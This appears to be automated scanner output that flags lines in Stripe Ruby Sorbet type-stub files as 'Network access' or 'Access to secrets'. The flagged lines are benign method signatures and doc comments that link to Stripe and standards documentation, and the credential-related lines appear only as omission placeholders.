def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 41
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/quote_create_params.rbi
- Network accessline 141
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie - Network accessline 142
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 143
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 146
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 147
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 148
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 158
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri - Network accessline 159
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 160
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 197
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 198
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(QuoteCreateParams::LineItem::PriceData)) } - Network accessline 199
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 274
} def effective_date=(_effective_date); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is - Network accessline 275
def effective_date=(_effective_date); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is include - Network accessline 276
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 363
} def default_tax_rates=(_default_tax_rates); end # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/sett - Network accessline 364
def default_tax_rates=(_default_tax_rates); end # A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/b - Network accessline 365
# A description that will be displayed on the quote PDF. If no value is passed, the default description configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 380
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since t - Network accessline 381
def expand=(_expand); end # A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote te - Network accessline 382
# A future timestamp on which the quote will be canceled if in `open` or `draft` status. Measured in seconds since the Unix epoch. If no value is passed, the default expiration date configured in your [quote template settings](https://dashb - Network accessline 385
sig { params(_expires_at: T.nilable(Integer)).returns(T.nilable(Integer)) } def expires_at=(_expires_at); end # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote te - Network accessline 386
def expires_at=(_expires_at); end # A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be us - Network accessline 387
# A footer that will be displayed on the quote PDF. If no value is passed, the default footer configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 397
} def from_quote=(_from_quote); end # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will - Network accessline 398
def from_quote=(_from_quote); end # A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be us - Network accessline 399
# A header that will be displayed on the quote PDF. If no value is passed, the default header configured in your [quote template settings](https://dashboard.stripe.com/settings/billing/quote) will be used. - Network accessline 416
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 417
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 418
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/quote_update_params.rbi
- Network accessline 127
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencie - Network accessline 128
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 129
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 132
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 133
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 134
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 144
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stri - Network accessline 145
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax set - Network accessline 146
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 188
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 189
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(QuoteUpdateParams::LineItem::PriceData)) } - Network accessline 190
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 232
} def effective_date=(_effective_date); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is - Network accessline 233
def effective_date=(_effective_date); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is include - Network accessline 234
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on the subscription or subscription schedule when the quote is accepted. If a recurring price is included in `line_items`, this field will be passed to - Network accessline 366
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 367
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 368
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/radar/value_list_create_params.rbi
- Network accessline 21
sig { params(_item_type: T.nilable(String)).returns(T.nilable(String)) } def item_type=(_item_type); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for s - Network accessline 22
def item_type=(_item_type); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 23
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/radar/value_list_update_params.rbi
- Network accessline 16
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 17
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/refund_create_params.rbi
- Network accessline 15
sig { params(_charge: T.nilable(String)).returns(T.nilable(String)) } def charge=(_charge); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https - Network accessline 16
def charge=(_charge); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 17
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 35
sig { params(_instructions_email: T.nilable(String)).returns(T.nilable(String)) } def instructions_email=(_instructions_email); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. T - Network accessline 36
def instructions_email=(_instructions_email); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 37
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 52
sig { params(_payment_intent: T.nilable(String)).returns(T.nilable(String)) } def payment_intent=(_payment_intent); end # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `reque - Network accessline 53
def payment_intent=(_payment_intent); end # String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudul - Network accessline 54
# String indicating the reason for the refund. If set, possible values are `duplicate`, `fraudulent`, and `requested_by_customer`. If you believe the charge to be fraudulent, specifying `fraudulent` as the reason will add the associated car
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/refund_update_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/reporting/report_run_create_params.rbi
- Network accessline 42
sig { params(_reporting_category: T.nilable(String)).returns(T.nilable(String)) } def reporting_category=(_reporting_category); end # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of pos - Network accessline 43
def reporting_category=(_reporting_category); end # Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/ - Network accessline 44
# Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva - Network accessline 66
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Parameters specifying how the report should be run. Different Report Types have different required and optiona - Network accessline 67
def expand=(_expand); end # Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements - Network accessline 68
# Parameters specifying how the report should be run. Different Report Types have different required and optional parameters, listed in the [API Access to Reports](https://docs.stripe.com/reporting/statements/api) documentation. - Network accessline 73
} def parameters=(_parameters); end # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`. - Network accessline 74
def parameters=(_parameters); end # The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`. sig { returns(String) } - Network accessline 75
# The ID of the [report type](https://docs.stripe.com/reporting/statements/api#report-types) to run, such as `"balance.summary.1"`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_confirm_params.rbi
- Network accessline 131
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 132
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 133
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 151
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 152
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 153
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 379
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 380
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 381
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 650
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 651
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 652
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 748
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 749
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(SetupIntentConfirmParams::PaymentMethodData::RadarOptio - Network accessline 750
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 897
[Credential-related source omitted] - Access to secretsline 898
[Credential-related source omitted] - Network accessline 934
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 935
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 936
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 995
sig { params(_amount_type: String).returns(String) } def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h - Network accessline 996
def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri - Network accessline 997
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1181
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri - Network accessline 1182
def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe - Network accessline 1183
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1679
sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) } def payment_method=(_payment_method); end # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com - Network accessline 1680
def payment_method=(_payment_method); end # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method) # value in the S - Network accessline 1681
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_create_params.rbi
- Network accessline 8
# Controls whether this SetupIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste - Network accessline 9
# # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, - Network accessline 10
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may - Network accessline 145
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 146
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 147
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 165
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 166
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 167
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 391
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 392
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 393
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 662
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 663
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 664
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 760
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 761
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(SetupIntentCreateParams::PaymentMethodData::RadarOption - Network accessline 762
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 909
[Credential-related source omitted] - Access to secretsline 910
[Credential-related source omitted] - Network accessline 946
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 947
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 948
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1007
sig { params(_amount_type: String).returns(String) } def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.h - Network accessline 1008
def amount_type=(_amount_type); end # Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stri - Network accessline 1009
# Currency in which future payments will be charged. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1193
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on ri - Network accessline 1194
def network=(_network); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authe - Network accessline 1195
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1668
end class SingleUse < ::Stripe::RequestParams # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zer - Network accessline 1669
class SingleUse < ::Stripe::RequestParams # Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decima - Network accessline 1670
# Amount the customer is granting permission to collect later. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to ch - Network accessline 1673
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 1674
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 1675
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1747
} def flow_directions=(_flow_directions); end # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confi - Network accessline 1748
def flow_directions=(_flow_directions); end # This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm). - Network accessline 1749
# This hash contains details about the mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/setup_intents/create#create_setup_intent-confirm). - Network accessline 1754
} def mandate_data=(_mandate_data); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 1755
def mandate_data=(_mandate_data); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 1756
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1771
sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) } def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use - Network accessline 1772
def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. sig { returns(T.nilable(String)) } - Network accessline 1773
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this SetupIntent. - Network accessline 1776
sig { params(_payment_method_configuration: T.nilable(String)).returns(T.nilable(String)) } def payment_method_configuration=(_payment_method_configuration); end # When included, this hash creates a PaymentMethod that is set as the - Network accessline 1777
def payment_method_configuration=(_payment_method_configuration); end # When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_ - Network accessline 1778
# When included, this hash creates a PaymentMethod that is set as the [`payment_method`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-payment_method) - Network accessline 1791
} def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from - Network accessline 1792
def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [ - Network accessline 1793
# The list of payment method types (for example, card) that this SetupIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings - Network accessline 1798
} def payment_method_types=(_payment_method_types); end # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can al - Network accessline 1799
def payment_method_types=(_payment_method_types); end # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternat - Network accessline 1800
# The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. To redirect to a mobile application, you can alternatively supply an application URI scheme. This parameter can
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_retrieve_params.rbi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/setup_intent_update_params.rbi
- Network accessline 69
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 70
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 71
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 90
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 91
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 315
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 316
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 317
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 586
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 587
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 588
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 684
